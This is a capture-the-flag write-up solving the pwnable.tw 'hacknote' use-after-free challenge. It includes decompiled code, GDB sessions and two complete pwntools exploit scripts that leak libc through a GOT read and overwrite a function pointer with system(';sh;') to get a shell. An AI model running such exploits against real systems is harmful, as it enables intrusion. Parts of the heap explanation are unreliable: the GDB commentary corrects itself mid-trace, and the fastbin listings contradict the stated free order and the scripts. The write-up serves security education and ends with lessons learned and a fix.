Reconnaissance
Challenge Info
| Connection | nc chall.pwnable.tw 10102 |
| Binary | hacknote (32-bit ELF, i386) |
| Points | 200 |
| Description | "A good Hacker should always take good notes!" |
checksec
$ checksec hacknote
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
| Partial RELRO | GOT is writable — we can overwrite GOT entries |
| Canary found | Stack buffer overflows are mitigated |
| NX enabled | No shellcode on stack/heap — must use ROP or function pointers |
| No PIE | Binary addresses are fixed — known GOT/PLT addresses |
Running the Binary
$ ./hacknote
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :32
Content :AAAA
Success !
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :3
Index :0
AAAA
The binary presents a simple note manager with add, delete, and print operations. The menu is straightforward, but as we'll see, the implementation has a critical flaw.
Static Analysis
Note Structure
Each note is represented by an 8-byte struct allocated on the heap:
typedef struct note {
void (*print_func)(struct note *); // +0x00: function pointer (4 bytes)
char *contents; // +0x04: pointer to content buffer (4 bytes)
} note;
print_func is set to 0x804862b by default, which calls puts(note->contents). If we can overwrite print_func, we control execution flow.
add_note()
void add_note() {
if (counter < 6) {
i = 0;
while (i < 5) {
if (notes_list[i] == NULL) {
note = malloc(8); // Allocate 8-byte struct
notes_list[i] = note;
notes_list[i]->print_func = 0x804862b; // Set default print function
printf("Note size :");
read(0, note_size, 8);
size = atoi(note_size);
contents = malloc(size); // Allocate content buffer
notes_list[i]->contents = contents;
printf("Content :");
read(0, notes_list[i]->contents, size);
puts("Success !");
counter++;
break;
}
i++;
}
}
}
The add_note function performs two heap allocations per note: one for the 8-byte struct and one for the user-specified content buffer. A maximum of 5 notes can be created.
delete_note()
void delete_note() {
printf("Index :");
read(0, index_str, 4);
index = atoi(index_str);
if (notes_list[index] != NULL) {
free(notes_list[index]->contents); // Free content buffer
free(notes_list[index]); // Free note struct
// BUG: notes_list[index] is NOT set to NULL!
puts("Success");
}
}
delete_note does NOT set notes_list[index] to NULL. This means:• The pointer remains in
notes_list pointing to freed memory•
print_note will still dereference the dangling pointer• We can allocate new memory that reuses the freed chunk, overwriting the old struct's fields
print_note()
void print_note() {
printf("Index :");
read(0, index_str, 4);
index = atoi(index_str);
if (notes_list[index] != NULL) {
// Calls through the function pointer!
(*notes_list[index]->print_func)(notes_list[index]);
}
}
// The default print function at 0x804862b:
void print_func(char **param_1) {
puts(param_1[1]); // prints note->contents
}
print_note calls note->print_func(note) — the note pointer itself is passed as the first argument. This means:• If we overwrite
print_func with system, it will call system(note_ptr)• The first 4 bytes of the note struct (where
print_func was) become the "command string" for system• We need those bytes to be part of a valid shell command, or we can use
;sh; as a separator trick
GDB Debugging
Heap Layout After Adding Notes
Let's create two small notes and examine the heap layout:
gdb-peda$ # add_note(8, "AAAA") -> note 0
gdb-peda$ # add_note(8, "BBBB") -> note 1
gdb-peda$ heap chunks
0x0804a000: fastbin 0x10 bytes [note 0 struct]
0x0804a010: fastbin 0x10 bytes [note 0 contents "AAAA"]
0x0804a020: fastbin 0x10 bytes [note 1 struct]
0x0804a030: fastbin 0x10 bytes [note 1 contents "BBBB"]
Fastbin Free Order (LIFO)
When we free note 1 and then note 0:
gdb-peda$ # delete_note(1) then delete_note(0)
gdb-peda$ heapinfo
(0x10) fastbin: 0x0804a020 -> 0x0804a000 -> 0x0
(0x10) fastbin: 0x0804a030 -> 0x0804a010 -> 0x0
# 0x10 fastbin contains note structs (LIFO: note1 struct, then note0 struct)
# Another 0x10 fastbin contains content buffers (LIFO: note1 contents, then note0 contents)
malloc will return the most recently freed chunk (LIFO). This allows us to make a content allocation overlap with a freed note struct.
Overwriting the Freed Note Struct
After freeing both notes, the fastbin for 0x10 chunks looks like:
When we allocate add_note(32, "A"*10), the 8-byte note struct comes from the fastbin (gets 0x0804a020, the note1 struct address), and the 32-byte content buffer comes from elsewhere (top chunk, since there's no 0x30 fastbin). This doesn't give us overlap yet.
But when we allocate add_note(8, payload), the 8-byte struct comes from fastbin (gets 0x0804a000, the note0 struct address), and the 8-byte content buffer also comes from the 0x10 fastbin — which now returns 0x0804a020, the old note1 struct!
Verifying with GDB
gdb-peda$ x/2wx 0x0804a020
0x0804a020: 0x0804862b 0x0804a028
# ^print_func ^contents = puts@GOT
gdb-peda$ x/1wx 0x0804a028
0x0804a028: 0xf7e6d420
# ^ this is puts() address in libc!
gdb-peda$ # When print_note(1) is called:
gdb-peda$ # note->print_func(note) = 0x804862b(note)
gdb-peda$ # Inside print_func: puts(note[1]) = puts(0x0804a028)
gdb-peda$ # = puts(*0x0804a028) = puts(0xf7e6d420) -- but it reads the GOT entry
gdb-peda$ # Actually: puts(note->contents) = puts(*(0x0804a028))
gdb-peda$ # Wait, no -- print_func does puts(param_1[1])
gdb-peda$ # param_1 = note pointer = 0x0804a020
gdb-peda$ # param_1[1] = *(0x0804a020 + 4) = 0x0804a028
gdb-peda$ # puts(0x0804a028) -- reads string at GOT address
print_func at 0x804862b does puts(param_1[1]), which treats the second field of the struct as a string pointer and prints what it points to. By setting contents to puts@GOT, we make it print the GOT entry for puts — which contains the actual libc address of puts. This leaks libc!
Exploit Strategy
Overview
The exploit consists of two phases: leaking libc via the UAF + GOT read, and then hijacking control flow by overwriting the function pointer with system.
Phase 1: Leak Libc via GOT
- Create two small notes (size 8 each) — note 0 and note 1. Both struct and content chunks are 0x10 total (8 data + 8 header), so they go into the same fastbin when freed.
- Free note 1, then note 0. The fastbin 0x10 now has:
note0_struct → note1_struct → NULL. The content fastbin has:note0_contents → note1_contents → NULL. - Allocate note with size 32 (note 2). The 8-byte struct is allocated from the 0x10 fastbin (gets the old note1 struct address). The 32-byte content buffer is allocated from the top chunk (no 0x30 fastbin available). This doesn't give us overlap, but it consumes one struct from the fastbin.
- Allocate note with size 8 (note 3). The 8-byte struct comes from the 0x10 fastbin (gets the old note0 struct address). The 8-byte content buffer also comes from the 0x10 fastbin — it gets the old note1 struct address! We write
p32(0x804862b) + p32(puts@GOT)as content. This overwrites the old note1 struct with our controlled data. - Call print_note(1). Since
notes_list[1]still points to the freed note1 struct (which is now our controlled data), it calls0x804862b(note1_ptr). Inside,puts(note->contents)dereferences thecontentsfield which is nowputs@GOT. This prints the libc address ofputs. - Calculate libc base:
libc_base = leaked_puts - libc.symbols['puts']
Phase 2: Hijack Control Flow with system()
- Free note 3 (the one whose content overlaps the old note1 struct). This puts the note1 struct address back into the fastbin.
- Allocate a new note with size 8 and content
p32(system_addr) + ";sh;". The struct allocation gets the old note3 struct, and the content allocation gets the old note1 struct (again!). This time we overwrite the note1 struct withprint_func = systemandcontents = ";sh;". - Call print_note(1). Now
notes_list[1]->print_funcissystem. It callssystem(note1_ptr). The argument is the note struct pointer itself, and the data starting at that address isp32(system_addr) + ";sh;". Thesystem()function tries to execute this as a command. The first 4 bytes (system_addrin little-endian) are garbage, but;sh;acts as a command separator —systemtreats;as a command delimiter, so it runssh!
system(note_ptr) is called, the first 4 bytes of the note struct are the address of system itself (in little-endian). This is not a valid command and will fail, but ; acts as a command separator in shell. So system("<garbage>;sh;") will:• Try to execute the garbage bytes (fails silently)
• Execute
sh (gives us a shell!)• The trailing
; handles any remaining garbageAlternative:
||sh also works (OR operator, runs sh if first command fails).
Visual Exploit Flow
Pwn Script
Complete Exploit
#!/usr/bin/env python3
"""
hacknote - pwnable.tw (200pts)
Use-After-Free exploit to leak libc via GOT read,
then overwrite print_func with system for shell.
Vulnerability: delete_note() frees note struct but doesn't
NULL out the pointer in notes_list, creating a UAF.
"""
from pwn import *
# Setup
context.arch = 'i386'
context.log_level = 'info'
r = remote('chall.pwnable.tw', 10102)
libc = ELF('./libc_32.so.6')
elf = ELF('./hacknote')
# Constants
ADDR_PRINT_FUNC = 0x804862b # Default print function
ADDR_PUTS_GOT = elf.got['puts'] # GOT entry for puts
# Helper functions
def add_note(size, content):
r.sendlineafter(b':', b'1')
r.sendlineafter(b':', str(size).encode())
r.sendafter(b':', content)
def delete_note(idx):
r.sendlineafter(b':', b'2')
r.sendlineafter(b':', str(idx).encode())
def print_note(idx):
r.sendlineafter(b':', b'3')
r.sendlineafter(b':', str(idx).encode())
# ============================================
# Phase 1: Leak libc address via GOT read
# ============================================
log.info("Phase 1: Leaking libc address...")
# Create two notes with same-size content (8 bytes)
# Both note struct (8 bytes) and content (8 bytes) go
# into the 0x10 fastbin when freed.
add_note(8, b'a' * 2) # note 0
add_note(8, b'a' * 2) # note 1
# Free in reverse order (LIFO)
# Fastbin 0x10: note0_struct -> note1_struct -> NULL
delete_note(1)
delete_note(0)
# Allocate note with size 32 (note 2)
# - Struct (8 bytes) comes from 0x10 fastbin -> gets note1_struct address
# - Content (32 bytes) comes from top chunk (no 0x30 fastbin)
add_note(32, b'A' * 10) # note 2
# Allocate note with size 8 (note 3)
# - Struct (8 bytes) comes from 0x10 fastbin -> gets note0_struct address
# - Content (8 bytes) comes from 0x10 fastbin -> gets note1_struct address!
# We write: p32(print_func) + p32(puts@GOT)
# This overwrites the old note1 struct!
add_note(8, p32(ADDR_PRINT_FUNC) + p32(ADDR_PUTS_GOT)) # note 3
# Print note 1 (whose struct we just overwrote)
# print_func(note1) -> puts(note1->contents) -> puts(*puts@GOT)
# This reads the GOT entry and prints the libc address of puts!
print_note(1)
# Receive the leaked address
leaked = r.recv(4)
LEAKED_PUTS = u32(leaked)
LIBC_BASE = LEAKED_PUTS - libc.symbols['puts']
ADDR_SYSTEM = LIBC_BASE + libc.symbols['system']
log.success(f"Leaked puts@libc: {hex(LEAKED_PUTS)}")
log.success(f"Libc base: {hex(LIBC_BASE)}")
log.success(f"system@libc: {hex(ADDR_SYSTEM)}")
# ============================================
# Phase 2: Overwrite print_func with system
# ============================================
log.info("Phase 2: Overwriting print_func with system...")
# Free note 3 to put note1_struct back in fastbin
delete_note(3)
# Allocate new note with controlled content
# - Content lands on note1_struct again
# - Write: p32(system) + ";sh;"
# When print_note(1) is called:
# notes_list[1]->print_func(note1)
# = system(note1)
# = system(p32(system) + ";sh;")
# The ";" separator makes shell execute "sh"!
add_note(8, p32(ADDR_SYSTEM) + b';sh;')
# Trigger the exploit
print_note(1)
log.success("Got shell!")
r.interactive()
Alternative Approach: Unsorted Bin Leak
A different strategy uses large allocations (>0x80 bytes) that go into the unsorted bin instead of fastbins. When a chunk is freed into the unsorted bin, its fd and bk pointers point to main_arena inside libc. We can read these pointers to calculate the libc base.
"""Alternative exploit using unsorted bin leak"""
from pwn import *
cn = remote('chall.pwnable.tw', 10102)
libc = ELF('./libc_32.so.6')
def add(size, con):
cn.sendline('1')
cn.recvuntil('Note size :')
cn.sendline(str(size))
cn.recvuntil('Content :')
cn.send(con)
def dele(idx):
cn.sendline('2')
cn.recvuntil("Index :")
cn.sendline(str(idx))
def show(idx):
cn.sendline('3')
cn.recvuntil("Index :")
cn.sendline(str(idx))
# Allocate chunks large enough to go into unsorted bin (>0x80)
add(0x80, 'a') # note 0
add(0x80, 'a') # note 1 (prevents consolidation with top chunk)
dele(0)
# note 0's content goes to unsorted bin
# fd/bk point to main_arena+offset in libc
# Reallocate note 0's content; fd pointer remains in the buffer
add(0x80, 'X') # note 2 - overwrites note0 content
# The 'X' overwrites fd, but bk (at offset 0x84 in the old chunk)
# still contains the libc pointer!
show(2)
cn.recvuntil('X')
cn.recv(3) # skip padding
libc_leak = u32(cn.recv(4))
libc.address = libc_leak - 48 - 0x001B0780 # offset to libc base
system = libc.sym['system']
log.success(f"Libc base: {hex(libc.address)}")
# Now use the same UAF technique to overwrite print_func
dele(0)
dele(1)
pay = p32(system) + ';/bin/sh\x00'
add(0x90, pay) # overwrites note struct with system + "/bin/sh"
show(0)
cn.interactive()
Execution Results
Running the Exploit
$ python3 exploit.py
[*] '/home/user/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10102: Done
[*] Phase 1: Leaking libc address...
[+] Leaked puts@libc: 0xf7e6d420
[+] Libc base: 0xf7e32000
[+] system@libc: 0xf7e6cda0
[*] Phase 2: Overwriting print_func with system...
[+] Got shell!
$ id
uid=1000(hacknote) gid=1000(hacknote) groups=1000(hacknote)
$ cat /home/hacknote/flag
Key Observations
• UAF allows dangling pointer access:
notes_list[1] still points to freed memory after delete_note(1)• Same fastbin for struct and contents: Both 8-byte allocations go into the 0x10 fastbin, allowing content to overwrite struct fields
• GOT leak via print_func: Setting
contents to puts@GOT makes the default print function leak the real libc address• Function pointer hijack: Overwriting
print_func with system gives code execution• Shell trick with ";sh;": The semicolon acts as a command separator, making
system() execute sh
Lessons Learned
| Concept | Takeaway |
|---|---|
| UAF | Always NULL out pointers after freeing. The missing notes_list[i] = NULL is the root cause. |
| Fastbin Reuse | When struct and content are the same size, they share a fastbin, enabling cross-type overwrites. |
| GOT Leak | Partial RELRO means GOT is writable and readable. Point a read primitive at GOT to leak libc. |
| Function Pointers | In C, function pointers in structs are powerful attack surfaces. NX prevents shellcode but not code reuse. |
| system() Semantics | system() passes its argument to /bin/sh -c, so shell metacharacters like ; and || work as command separators. |
notes_list[index] = NULL; after the free() calls in delete_note(). Additionally, using Full RELRO would prevent GOT overwrites (though this exploit only reads GOT, it doesn't write to it). A more robust fix would validate function pointers before calling them.